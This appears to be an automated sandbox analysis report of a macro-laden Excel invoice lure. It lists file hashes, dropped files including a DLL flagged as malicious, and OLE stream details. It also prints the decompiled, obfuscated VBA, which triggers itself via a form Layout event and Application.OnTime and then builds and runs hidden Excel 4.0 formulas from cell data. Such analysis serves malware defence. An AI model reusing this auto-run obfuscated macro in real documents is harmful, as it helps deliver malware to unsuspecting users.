...........................................................&!..............................................................................................

C:\Users\user\AppData\Local\Temp\Tar8642.tmp Download File
Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	152533
Entropy (8bit):	6.31602258454967
Encrypted:	false
SSDEEP:	1536:SIPLlYy2pRSjgCyrYBb5HQop4Ydm6CWku2PtIz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA
MD5:	D0682A3C344DFC62FB18D5A539F81F61
SHA1:	09D3E9B899785DA377DF2518C6175D70CCF9DA33
SHA-256:	4788F7F15DE8063BB3B2547AF1BD9CDBD0596359550E53EC98E532B2ADB5EC5A
SHA-512:	0E884D65C738879C7038C8FB592F53DD515E630AEACC9D9E5F9013606364F092ACF7D832E1A8DAC86A1F0B0E906B2302EE3A840A503654F2B39A65B2FEA04EC3
Malicious:	false
Preview:	0..S....H.........S.0..S....1.0...`.H.e......0..C...+.....7.....C.0..C.0...+.....7.............201012214904Z0...+......0..C.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Local\Temp\WER58FA.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\System32\DWWIN.EXE
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	3110
Entropy (8bit):	3.680066132157358
Encrypted:	false
SSDEEP:	96:Shz4tU6o7VxBt3uhhgHPe40PAn5xp3Yq3:Wl7LBNuhhgG45nv5J
MD5:	926C1C387200B707E1FCA44038B7D6A0
SHA1:	D9947998A737EDA6E87F2E6B2E6F3BD8211EE50E
SHA-256:	5D181418FAD2CE41571753B94787EB1713C90BE6614A0F23F0ED4591CB22AB4C
SHA-512:	236B28D83651EE6761AA9E3B8E3202C978AE3A3CC0EBBCE78972CFC445E60FE62FC78FB55E9DFBDE664F0D223A030FDAD9BD0AC5F8B4502BA18E1F1FF0AF3264
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.6...1.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.7.6.0.1. .S.e.r.v.i.c.e. .P.a.c.k. .1.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .7. .P.r.o.f.e.s.s.i.o.n.a.l.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.7.6.0.1...2.3.6.7.7...a.m.d.6.4.f.r.e...w.i.n.7.s.p.1._.l.d.r...1.7.0.2.0.9.-.0.6.0.0.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.3.0.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.a.r.e.n.t.P.r.o.c.e.s.s.I.

C:\Users\user\AppData\Local\Temp\cjrumqtd.dll Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	318976
Entropy (8bit):	7.120104121741336
Encrypted:	false
SSDEEP:	6144:5HdO040SSrnmrwc4oU2FmrEaoGAC+Y5H2V3B918juwUX:RdO02Srnh0qEJC+Y218jdU
MD5:	F317BDF94E5306AC0B02EDE9A263E36C
SHA1:	073D7B5C5896A2974C454A9BC21B097C19E8AFB3
SHA-256:	D5CF6F2148848F36D4A55BBC791372189EDFFB6326D8A0BB9B8743FD25BF0C8F
SHA-512:	A26EDB19B9D7FDA69DB767B20A08DD769F760115CC668494B18ACED009FE1B9D4DF0D5A2D0B94F1B13D808E461A4B7C19527EA3D6C61C9B5D17DF5263E78193F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......_...........!...2.z...`.......&.......@...............................@..........................................................\|....................0..P....................................................................................text....$.......&.................. ..`.rdata.......@.......*..............@..@.rdata3......P.......,..............@..@.2...........`.......0..............@..@.rdata2.F....p.......2..............@..@.data...`............4..............@....text4...R.......T...P.............. ..@.rsrc...\|........0..................@..@.reloc..P....0......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Excel\~ar4A6F.xar Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	modified
Size (bytes):	52958
Entropy (8bit):	7.831640658188131
Encrypted:	false
SSDEEP:	768:zYYha9orgFvRE5EG4IGWc3VsV9oyQkiY+K0/uH8n9QjU205LEd29WNJ4+TQtBv:HHgc5EGaKYI+/28nv5LkJ4+TQjv
MD5:	77A248282F5733A3BFFB8AC0D18926E3
SHA1:	6259E77DA9AEDFB97D12193327E950C0233315CB
SHA-256:	2DDC67B6EABE13FDE5BED31948BB5DEE767F245BC712EB6AFBBB77D2464BF996
SHA-512:	0C611CE78A6B90B0EDEEC688866773EA1A7398AAC6F92D9A72EF4490931D68F674CDC52B7C9ED12B244CA7D94F8C72D7DEA38FCD185E242FE90B824B343D5E47
Malicious:	false
Preview:	.V...0..W.? ..v....B...J=.].[.W...w.m.^..}.@......%..{o<o<...UR....<].U...FH.......i...).!O......7..... Z.<=.`?R...J..q.0.d.o.Z......j..r....n77P.G........N.O.{QO..Jr.0PZiAJ.A.A........I.3.....+.Y. .....,c\|..0..b.Qgqe..@......\e...Ad.U....d.(..<..I\.o/0S...0..D...o.{.2..}..rR@r.\..J...6f4.x.\...x.\|}F.hK...P/.B\...'...{x.VN.y.......<.@..5....e...+..../q.EL..:........=...q....u.D.w.H...].....L...........x.....u.,6.....T.....s.1ai.cw........1n.Hl=.C..O..&EDg......Y1t.O.8....&..a-@.h...`........PK..........!...>,....].......[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Tue Jan 12 03:47:45 2021, atime=Tue Jan 12 03:47:45 2021, length=16384, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.497162942804637
Encrypted:	false
SSDEEP:	12:85Q0SLgXg/XAlCPCHaX7B8NB/mBxX+Wnicvb6ObDtZ3YilMMEpxRljKicTdJP9TK:85Lk/XTr6NyxYeGCDv3qorNru/
MD5:	F5D305A244F726C29F5B0AA0363008C0
SHA1:	FCB62734ACE6630FA70C20CEA6E7A559093020C3
SHA-256:	FB8A08911F91CBEBEC3FBB787A270C93C5262533CBB44DD803EF4DBD3E540C4B
SHA-512:	75EDAF7E5DBBEAA6E5F74B8F23E8BBCF6AECBACE995E9C329C699D1E1D5A4734F6F94069961DB5CC6F649275847320DA13602A5996C48B7FE29DB167784B4A26
Malicious:	false
Preview:	L..................F...........7G...f.......f.......@......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....,R.%..Desktop.d......QK.X,R.%..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\715575\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......715575..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\INV8073565781-20210111319595.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:10 2020, mtime=Tue Jan 12 03:47:45 2021, atime=Tue Jan 12 03:47:54 2021, length=58711, window=hide
Category:	dropped
Size (bytes):	2218
Entropy (8bit):	4.510813852899258
Encrypted:	false
SSDEEP:	24:8KFk/XTr6NGJbGvRGeG0o7cDv3qodM7dD2KFk/XTr6NGJbGvRGeG0o7cDv3qodMj:8j/XT+NGJGk/PoQh2j/XT+NGJGk/PoQ/
MD5:	5DA2F89305C33EC4BF45936B360AD48A
SHA1:	D24D4AA18A2EF2C0D167AA5C81DD9D1369A86FAC
SHA-256:	D13EC064B739A61E4BEDE305229FB70AB7882D897FFCB91C676521A6D0534E7A
SHA-512:	DEF66068FFA93A35E1A8D5B1AE2A95AA6BA362219BC1496C787C9F9DC9B82A2C06BCFAB4CAB648D786EE40C8B2DFEB250826E88405A39F510C612C68E6CB7B1F
Malicious:	false
Preview:	L..................F.... ... .]..{...f..............W............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.....,R.% .INV807~1.XLS..p.......Q.y.Q.y...8.....................I.N.V.8.0.7.3.5.6.5.7.8.1.-.2.0.2.1.0.1.1.1.3.1.9.5.9.5...x.l.s.m.......................-...8...[............?J......C:\Users\..#...................\\715575\Users.user\Desktop\INV8073565781-20210111319595.xlsm.8.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.I.N.V.8.0.7.3.5.6.5.7.8.1.-.2.0.2.1.0.1.1.1.3.1.9.5.9.5...x.l.s.m.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.527730544910855
Encrypted:	false
SSDEEP:	3:oyBVomxWnnXSTv9UVGWUhr6YC0XSTv9UVGWUhr6YCmxWnnXSTv9UVGWUhr6YCv:djUnCXZoXZ6nCXZs
MD5:	C19D952CED43635AFEA47BC110F72B70
SHA1:	D17FF716911242D061F98EBDAE85585A14ADF8C2
SHA-256:	3FA3B693E9BE6399C48BC71B3662A4F08DC649C73A9CFB09CBC360B185A747FB
SHA-512:	5D28D2D1562B0A783AB62922B581F3967E1081A84211FF63B11B45BFD7C7FEDD8363DA2C30666D3712402DA2028D6C3740F9A9B4334609E080D666BF1798221F
Malicious:	false
Preview:	Desktop.LNK=0..[misc]..INV8073565781-20210111319595.LNK=0..INV8073565781-20210111319595.LNK=0..[misc]..INV8073565781-20210111319595.LNK=0..

C:\Users\user\Desktop\3DEE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	58711
Entropy (8bit):	7.859300767664731
Encrypted:	false
SSDEEP:	1536:hq8RzggbLmCf6646CIKSqtkTT61OVRYA8NZsLNFqo+Vt:hD1rmCM2VAOVRYL+9Q
MD5:	3E7D81D1E78B3140F1149F1E2CAA7617
SHA1:	9B7F1DE5831BE9B477FFF8256DB9E759A5C38EB0
SHA-256:	7AA7EE516B89FDD183ED2E0A6B41630546121AC7C8C97F4B8A78BDD943BEAD7A
SHA-512:	ABC41A47BA1B702C0F59CEAB3556BC7CD20ED8676DB441842ABB5CB9D7B66E00E491EC39D0AC000B841B5D6F05DDA15EC2F66A60758F4837A03068CE4DB45A12
Malicious:	false
Preview:	...n.0.E.......H...(,g..6@S.[......(..w(9...a....u..q...........+R..N....o.gR....Y..."....~<z...m..>%...(.`x..........\..........&..L.l.wP.'.......l.%........^+.....+/ ..k%@:.d.F....HFS....OH.....2..]0..1....0...-..&......\|_;.....W>~......x..u.n.....+.....(.....;7..Y.....s.:.e..XB+@..3R.Ep..o5..W...#...N.Yw.Y.\|U.`rBK)o.dz..g.H.{...k........t.....4.m...3d...N..?.........N.k.....DO....A..b...-.....D.....q..8..,../#..K.F.......3...r..q... ..;.6........PK..........!.........*.......[Content_Types].xml ...(...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$INV8073565781-20210111319595.xlsm Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.77272893585129
TrID:	Excel Microsoft Office Open XML Format document with Macro (57504/1) 54.50% Excel Microsoft Office Open XML Format document (40004/1) 37.92% ZIP compressed archive (8000/1) 7.58%
File name:	INV8073565781-20210111319595.xlsm
File size:	42039
MD5:	9b7c2b0abf5478ef9a23d9a9e87c7835
SHA1:	6931c4b845a8a952699d9cf85b316e3b3d826a41
SHA256:	a463f9a8842a5c947abaa2bff1b621835ff35f65f9d3272bf1fa5197df9f07d0
SHA512:	4c92f1fdbd83eb8e38e93800d2620c328ac59de4d5cdef9e8fbbcfc02fe715f110db49a83880ef0726fb1224d140472abf341b22fa7710710a69f061aa880840
SSDEEP:	768:IHT0FIYwYlKUOaSqlRgzxTLKLls5QlHbdYoVq+:uYwQKUOVqlRgzxTOLpZYAq+
File Content Preview:	PK..........!.o.m.....*.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4bcbcac

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	2

OLE File "/opt/package/joesandbox/database/analysis/338240/sample/INV8073565781-20210111319595.xlsm"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	False
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Author:
Last Saved By:
Create Time:	2020-12-07T14:38:21Z
Last Saved Time:	2021-01-11T14:32:26Z
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Thumbnail Scaling Desired:	false
Company:
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	16.0300

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 3215

General
Stream Path:	VBA/Module1
VBA File Name:	Module1.bas
Stream Size:	3215
Data ASCII:	. . . . . . . . . * . . . . . . . . . . . . . . . X . . . . . . . . . . . . . . . . x . & . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 03 f0 00 00 00 2a 05 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 58 05 00 00 f0 09 00 00 00 00 00 00 01 00 00 00 ba 78 ca 26 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 08 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Integer:
bycilke()
VB_Name
MiV(sem.value)
homepodd()
homepodd
Error
Integer)
bycilke
Function
ol).Name
"!"):
String
"ab":
Split(govs,
Randomize:
yellowsto(yel
Next:
ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
yellowsto(Oa))))
Integer
yellowsto
ol).value
nimo(Int((UBound(nimo)
Replace(Vo,
Chr(sem.Row)
Sheets(ol).Cells(homepodd,
"ab"))
Split(kij(ol),
yellowsto(homepodd))
Rnd))
(Run(""
"moreP_"
Variant)
Attribute
Resume
pagesREviewsd(Optional
ecimovert(nimo
ecimovert
MsgBox

VBA Code

Attribute VB_Name = "Module1"

Function homepodd()
homepodd = 5 - 3
End Function

Function pagesREviewsd(Optional wq As Integer) As Integer
Dim O As Integer: Dim Oa As Integer: ol = 1
Sheets(ol).Cells(homepodd, ol).Name = bycilke & "ab":
Dim MiV(44563)
For Each sem In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
MiV(sem.value) = Chr(sem.Row)
Next
For Each nog In MiV
govs = govs + nog
Next
Oa = 9: kij = Split(govs, "!"): Ada = Split(kij(ol), yellowsto(homepodd))
For Each Vo In Ada
Sheets(ol).Cells(homepodd, ol).value = "=" & Replace(Vo, "?", ecimovert(Split(kij(0), yellowsto(Oa))))
On Error Resume Next:
MsgBox (Run("" & bycilke & "ab"))
Next: Oa = 2:
End Function
Function bycilke()
bycilke = "moreP_"
End Function
Function ecimovert(nimo As Variant) As String
Randomize: df = 2 - 1: ecimovert = nimo(Int((UBound(nimo) + df) * Rnd))
End Function



Function yellowsto(yel As Integer)
yellowsto = "$"
If yel = 2 Then yellowsto = "]"
End Function

VBA File Name: Sheet1.cls, Stream Size: 1639

General
Stream Path:	VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	1639
Data ASCII:	. . . . . . . . . . . . . . . . . & . . . . . . . . . . . . . . . . . . . . . . . . x . k . . . . c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . " . v i e w _ 1 _ a , 1 , 0 , M S F o r m s , M u l t i P a g e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . .
Data Raw:	01 16 03 00 00 16 01 00 00 c8 03 00 00 fa 00 00 00 26 02 00 00 ff ff ff ff cf 03 00 00 fb 04 00 00 00 00 00 00 01 00 00 00 ba 78 c2 6b 00 00 ff ff 63 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Index
VB_Name
VB_Creatable
Application.OnTime
VB_Exposed
Long)
ResizePagess()
VB_Customizable
"REviewsd"
VB_Control
MultiPage"
VB_TemplateDerived
MSForms,
False
Attribute
Private
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
ResizePagess
"pages"

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "view_1_a, 1, 0, MSForms, MultiPage"
Sub ResizePagess()
Application.OnTime Now, "pages" & "REviewsd"
End Sub
Private Sub view_1_a_Layout(ByVal Index As Long)
a = 488: ResizePagess
End Sub

VBA File Name: ThisWorkbook.cls, Stream Size: 999

General
Stream Path:	VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	999
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . x . d . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 ba 78 1c 64 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
"ThisWorkbook"
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 550

General
Stream Path:	PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	550
Entropy:	5.28107922141
Base64 Encoded:	True
Data ASCII:	I D = " { 4 9 3 4 E D C 8 - 1 B 9 3 - 4 5 B C - B 6 9 0 - D B B 2 9 D 5 C 1 4 7 3 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . M o d u l e = M o d u l e 1 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " E E E C 1 D 3 1 E 5 F 1 D 7 F 5 D 7 F 5 D 7 F 5 D 7 F 5 " . . D P B = " D C D E 2 F 3 F F 3 2 C F 4 2 C F 4 2 C "
Data Raw:	49 44 3d 22 7b 34 39 33 34 45 44 43 38 2d 31 42 39 33 2d 34 35 42 43 2d 42 36 39 30 2d 44 42 42 32 39 44 35 43 31 34 37 33 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4d 6f 64 75 6c 65 3d 4d 6f 64 75 6c 65 31 0d 0a 4e 61 6d 65 3d

Stream Path: PROJECTwm, File Type: data, Stream Size: 86

General
Stream Path:	PROJECTwm
File Type:	data
Stream Size:	86
Entropy:	3.24455457963
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . M o d u l e 1 . M . o . d . u . l . e . 1 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 4d 6f 64 75 6c 65 31 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 31 00 00 00 00 00

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 3574

General
Stream Path:	VBA/_VBA_PROJECT
File Type:	data
Stream Size:	3574
Entropy:	4.45079869926
Base64 Encoded:	False
Data ASCII:	. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 .
Data Raw:	cc 61 b2 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: VBA/__SRP_0, File Type: data, Stream Size: 2060

General
Stream Path:	VBA/__SRP_0
File Type:	data
Stream Size:	2060
Entropy:	3.45011283232
Base64 Encoded:	False
Data ASCII:	. K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U . . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ X . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . . . . Y . n . M . . . W . . v _ . . . . . . . .
Data Raw:	93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 02 00 00 00 00 00 01 00 02 00 02 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 c0 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 02 00 00 00 00 00 00 7e 02 00 00 00

Stream Path: VBA/__SRP_1, File Type: data, Stream Size: 187

General
Stream Path:	VBA/__SRP_1
File Type:	data
Stream Size:	187
Entropy:	1.91493173134
Base64 Encoded:	False
